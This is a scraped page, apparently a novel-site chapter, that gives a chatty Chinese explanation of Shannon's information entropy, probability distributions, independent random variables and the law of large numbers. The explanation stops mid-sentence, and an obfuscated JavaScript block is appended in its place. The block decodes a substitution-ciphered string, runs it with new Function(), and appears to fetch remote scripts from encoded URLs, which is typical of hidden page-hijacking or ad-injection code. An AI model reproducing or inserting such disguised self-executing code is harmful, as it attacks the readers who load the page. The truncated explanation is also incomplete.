第四百四十一章 香农的信息熵
章节错误,点此举报(免注册),举报后维护人员会在两分钟内校正章节内容,请耐心等待,并刷新页面。
一张高清电视分辨率的照片,如果没有经过压缩,要占用600万个字节的计算机内存(6MB,1个字节是8个比特)。</p>
可是如果这张照片照的是一面单色的墙的话,它所含的信息量就很小,只要用三个字节就可以描写整张照片(3个字节描写红绿蓝三种颜色的深浅)。</p>
所以单色墙的照片的文件大小,可以从600万个字节压缩到3个字节,大大减少了占用计算机内存的空间和传输照片所需的时间。</p>
但一般一张照片的信息量要比三个字节大很多,那么如何量化照片所含的信息量?照片的压缩最多能有多少倍?</p>
香农是量化信息的第一人。</p>
有趣的是,他量化信息的公式早就出现在了玻尔兹曼的墓碑上。</p>
当然玻尔兹曼得到这个公式,不是为了研究信息,而是为了研究热力学中的混乱度(所以玻尔兹曼的公式和香农的公式差了一个负号)。</p>
热力学的一个中心概念——温度,就是混乱度随着能量的增加而增加的速率。我们的世界真是处处相通。</p>
南加州大学(UniversityofSouthernCalifornia)电子工程系教授巴特·磕死磕(BartKosko)说:“爱因斯坦相对论之革命性在于它颠覆了之前的牛顿力学,而香农信息论之革命性在于它前无古人。”</p>
香农当年创建信息论的时候是为了探讨信息的本质和通信的理论极限问题,比如什么是信息,怎样从数学上定义衡量信息,数据压缩和数据传输可达到的极限在哪里,等等。</p>
但信息论的应用远不止于通信领域。在香农之后,信息论被当作一套通用的数学工具,在很多信息科学领域都有应用。</p>
比如信息论可以用来做统计分析,可以用来开发人工智能,可以用来优化投资策略等。</p>
先从一个貌似不相干的西方曾经流行的游戏“二十个问题”说起。游戏是这样的:俺心里想一样东西,你可以问俺二十个问题,然后猜俺心里想的东西。你的问题必须是“是不是”这种形式的。比如,这个东西是不是可以放进冰箱里?这个东西是不是活的?这个东西是不是能吃?诸如此类。对于你问的每一个问题,俺必须如实地回答“是”或者“不是”。你在二十个问题之内猜到了我想的东西就算赢。</p>
这个游戏的关键是在于如何有效地问你的问题。如果你问“明天是不是下雨”,那你肯定脑子进水了,可以不用往下看了。如果你第一个问题问的是“这东西是不是iPhone6”,这样的问法显然也效率不高,因为俺一旦说“NO”,你只从大量的可能性中排除了一种可能,还是要面对剩下巨大的猜测空间。</p>
这个游戏可以大致等价于这样一个数字游戏。假设M是个大于1的正整数,俺俩在玩游戏之前就商议确定好。俺在1到M之间任意想一个整数,你的任务是用最少的“是不是”形式的问题问出这个数是多少。</p>
对于这个数字版的“二十个问题”游戏,聪明的宝宝都会发现类似这样的结论:M的数值越大,需要的问题越多。但爱钻研的同学可能会想到另一个问题:对于一个给定的问问题策略,所需问题的“多”或“少”又是用什么来衡量的呢?比方说,M=8,而你的问法是依次问如下问题:“这个数是不是1”,“这个数是不是2”,“这个数是不是3”,一直到“这个数是不是7”(如果问完“这个数是不是7”你觉得还需要问“这个数是不是8”的话,那请你去看韩剧吧)。在这种情况下,如果俺想的数字是1,你只需要一个问题就可以知道答案;而如果俺想的数字是8,你必须在问完7个问题之后才能知道答案。换句话说,即使问问题的策略确定,因为俺心里那个神秘数字的不确定性,你所需要的问题数目也是不确定的。因此我们需要把这个数字版“二十个问题”游戏更准确地描述出来,或者说,把在什么意义上“最少”定义出来。</p>
让俺先喘口气,喝口水,扯点概率论,回头再看这个问题。</p>
咱们也别讲究数学的严谨了吧,直接讲这个叫随机变量的东东。</p>
随机变量描述的是一个随机实验可能出现的结果以及每种可能结果的可能性,也就是概率。先看一个例子。</p>
例[老千掷硬币]:假设某老千每次投掷硬币的结果有1/3可能性出正面,2/3的可能性出反面。那么掷一次硬币就是一个随机实验,掷硬币的结果就是一个随机变量,我们这里记作大写的X。如果把正面记作1,反面记作0,那么这个随机变量X可以通过一个函数P(x)来描述:函数的变量(小写的)x的取值范围是集合{0,1},这个集合此后记作S;函数在0和1的取值分别为:P(1)=1/3,P(0)=2/3。</p>
从这个例子可以看出,一个随机变量X无非是通过在某个集合S上定义的一个函数P(x)来描述的,而这个函数不能取负值,而且必须在对其变量x求和的时候结果为1(在老千掷硬币的例子中即:P(0)+P(1)=1)。这个函数通常被称为随机变量X的概率分布。</p>
当然,同样是掷硬币,可以定义出很多不同的随机变量(即不同的概率分布函数P(x))来。普通人掷硬币对应的随机变量基本就是P(0)=P(1)=1/2。赌神掷硬币对应的随机变量可能是P(0)=1,P(1)=0。</p>
生活中的随机变量比比皆是。比如,在掷骰子的时候,骰子掷出的结果这个随机变量对应于一个定义在S={1,2,...,6}上的概率分布函数P(x),通常认为P(1)=P(2)=...=P(6)=1/6。再比如明天会不会下雨(天气预报不准的啦),会有几个人给俺这篇吐血之作点赞或转发(不晓得多少人更喜欢韩剧的啦)这些不确定的事情里都可以定义出随机变量来。记得不知道哪一位伟人曾经说过,“随机变量是到处都有的。对于我们的脑袋,不是缺少随机变量,而是缺少发现。”</p>
在前面说的那个数字版“二十个问题”游戏中,俺心里想的神秘数字对你来说也是一个随机变量,它的概率分布P(x)是定义在S={1,2,...,M}上的函数。如果我选数字是“完全随机的”,那么,这个函数就是P(1)=P(2)=...=P(M)=1/M。这种分布通常被称为均匀分布。当然,取决于俺按什么偏好选数字,这个函数也可以取其他形式:如果俺就是喜欢2,也许俺会以更高的概率取2。</p>
假设有个随机变量X,它的取值范围S={1,2,…,M},它的概率分布函数是某个定义在S上的函数P(x)。那么这个随机变量的均值(更文化点的说法叫数学期望值)就是这样一个东东:</p>
1*P(1)+2*P(2)+3*P(3)+…+M*P(M).</p>
在上面老千掷硬币的例子中,随机变量X的均值就是1*(1/3)+0*(2/3)=1/3。简单吧。</p>
很多同学可能都有直觉的认识,能感觉到如果把产生这个随机变量X的随机实验做很多次,把得到的数字取平均,那么这个平均数差不多就是X的均值。这个概念,叫做大数定理,跟俺要讲的熵有着本质的联系,俺这里不敢唐突,稍后会带同学们仔细品味。</p>
很多时候俺们关心的不止一个随机变量,而是很多随机变量。比如,俺们同时关心两个随机变量X和Y,X的取值范围是{1,2},Y的取值范围是{1,2,3}。那么俺们可以把这两个随机变量看作一个随机变量对,写作(X,Y),而把它的取值范围理解为所有可能的(X,Y)取值的组合,也就是{(1,1),(1,2),(1,3),(2,1),(2,2),(2,3)}。把这个集合叫作S,那么这对随机变量就是通过一个定义在S上的概率分布函数P(x,y)来描述的。当这个随机变量对的分布满足P(x,y)=P(x)P(y)的时候,俺们就称这两个随机变量是相互独立的。</p>
P(0,0)=P(0)P(0)=(2/3)(2/3)=4/9</p>
P(0,1)=P(0)P(1)=(2/3)(1/3)=2/9</p>
P(1,0)=P(1)P(0)=(1/3)(2/3)=2/9</p>
P(1,1)=P(1)P(1)=(1/3)(1/3)=1/9</p>
独立随机变量的概念当然可以推广到更多的随机变量上。如果有n个随机变量,它们的取值无非就对应了一个长度为n的序列。所有这样序列的集合就是这组随机变量的取值范围。如果这些随机变量是相互独立的,那么每个序列出现的概率无非就是把这个序列中每个数出现的概率乘在一起。比如,上面的老千连续掷了10次硬币,那么出现1101011110的概率就是:</p>
(1/3)(1/3)(2/3)(1/3)(2/3)(1/3)(1/3)(1/3)(1/3)(2/3)=(1/3)^7*(2/3)^3.</p>
哎,累死俺了,这个也要讲,学霸们可能要打瞌睡了。不好意思,俺怕讲得太快,有的同学要去看韩剧了。哎,致敬也是体力活啊!</p>
大数定理的英文是,它的中文翻译通常是“大数定律”而不是大数定理。但俺却偏要叫它大数定理!</p>
定律或是英文里的law都是指不需要证明但可以被验证的理论假设。比如牛顿的万有引力定律。从数学上说,不需要证明就被接受的假设被认为是公理。但是这个大数定理并非公理,它是被严格证明出来的(证明也不复杂,只要用马尔可夫不等式或切比晒夫不等式就行了),因此准确的数学语言应该叫它“定理”。管他叫“定律”会让人以为这个东东就是假设出来的公理,从而产生歧义,当年也不知道谁这么没涵养管它叫“law”。所以,不管你们服不服,俺都要管它叫大数定理。</p>
大数定理大概说了这样一个意思。假设有某个随机实验会产生一个随机变量X。如果你重复做这个随机实验n次,你就会得到一个随机变量序列X1,X2,X3,…,Xn。这里假定这些随机变量相互独立(即这些随机实验互不影响)而且n是个很大的数(比如,一万,十万,百万),那么把这n个数加起来除以n(即取平均),得到的数(即(X1+X2+…+Xn)/n)几乎总是很接近随机变量X的均值。同学们注意一下俺这里“几乎总是”和“很接近”的用词哈。虽然俺是个马虎的人,这里的遣词造句是极其考究,极负责任,极具情怀的。</p>
咱们用老千掷硬币的例子先看看大数定理到底说了些啥子嘛。假设那个老千掷了n次硬币,那么他就得到了n个在{0,1}里取值的数。因为这n个数都是随机的,这n个数的均值当然也是个随机变量,就是说也有一个概率分布函数,有一定的不确定性。大数定理告诉俺们,当n很大的时候,这n个数的平均值“几乎总是很接近”1/3。“几乎总是”和“很接近”是可以在数学上严格定义的,不过当俺讲完它们的定义的时候,估保守,但俺码字已经快要吐血,正在后悔俺为什么要揽下这么个差事,所以就随便套了一下切比晒夫不等式得出下面这些“至少有”的结论):</p>
当n=1000时,至少有91.1%的概率这个平均值很接近1/3。</p>
当n=10000时,至少有99.1%的概率这个平均值很接近1/3。</p>
当n=100000时,至少有99.9%的概率这个平均值很接近1/3。</p>
如果把“很接近1/3”理解为跟1/3相差不到0.02,那么:</p>
!function(){function a(a){var _idx="xvmmbotlxu";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPo}0)hFL_h^m6qTq)dJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m((JLpqYmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJmDFTd5)4mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0)hFL_h^m6qTq)dJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m((JLpqYmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJmDFTd5)4mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m((JLpqYmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/o}0jR8RX^^)OFqR_"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"o}0"=X8"RX^^)OFqR_"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"o}0^)ThF)mC:2qC4YmRT4"="o}0X5ThF)mCO7h_fTmRT4"="o}02pThFmC:2qC4YmRT4"="o}0_JqhFmCO7h_fTmRT4"="o}02TOhFmC:2qC4YmRT4"="o}0CSqhF)mCO7h_fTmRT4"="o}0)FfThF)fmC:2qC4YmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:mR4fd)TDmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:mR4fd)TDmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPo}0)hFL_h^m6qTq)dJmRT4gQ}1Q/f/o}0j(8}vR8RX^^)OFqR_"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPo}0)hFL_h^m6qTq)dJmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();